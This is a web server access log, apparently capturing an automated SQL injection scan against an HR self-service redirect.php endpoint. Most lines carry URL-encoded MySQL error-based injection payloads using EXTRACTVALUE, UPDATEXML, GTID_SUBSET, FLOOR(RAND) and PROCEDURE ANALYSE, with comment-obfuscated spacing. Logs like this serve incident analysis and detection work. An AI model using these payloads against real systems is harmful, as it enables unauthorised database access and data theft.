100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x33686a47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674c4c76%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FJcbN&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x62725654%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f316b6a%29%29%2C1%29--%2F%2A%2A%2Fv9Kg&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x62725654%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f316b6a%29%29%2C1%29--%2F%2A%2A%2Fv9Kg&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x596c7762%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x524a4866%29%29%2C1%29--%2F%2A%2A%2FU64c&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x596c7762%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x524a4866%29%29%2C1%29--%2F%2A%2A%2FU64c&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51544f7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d614354%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FG8Ef&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51544f7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d614354%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FG8Ef&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x45674278%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42553274%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fho5n&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x45674278%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42553274%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fho5n&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d437549%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76575376%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d437549%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76575376%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x77697076%2C%28NULL%29%2C0x77494378%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x77697076%2C%28NULL%29%2C0x77494378%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x5a4e4f65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e315631%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x5a4e4f65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e315631%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x574f3242%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x306f5179%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x574f3242%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x306f5179%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x59536b42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a724249%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x59536b42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a724249%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x49515278%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34474e4f%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x49515278%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34474e4f%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x41634c31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62595950%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x41634c31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62595950%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x55713046%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67563549%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x55713046%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67563549%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35437a41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x696e3956%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35437a41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x696e3956%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a517341%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a35714c%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a517341%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a35714c%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x337a796d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62747862%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x337a796d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62747862%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b326d6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66546474%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b326d6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66546474%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47356962%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6970305a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47356962%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6970305a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f794865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x434a777a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f794865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x434a777a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
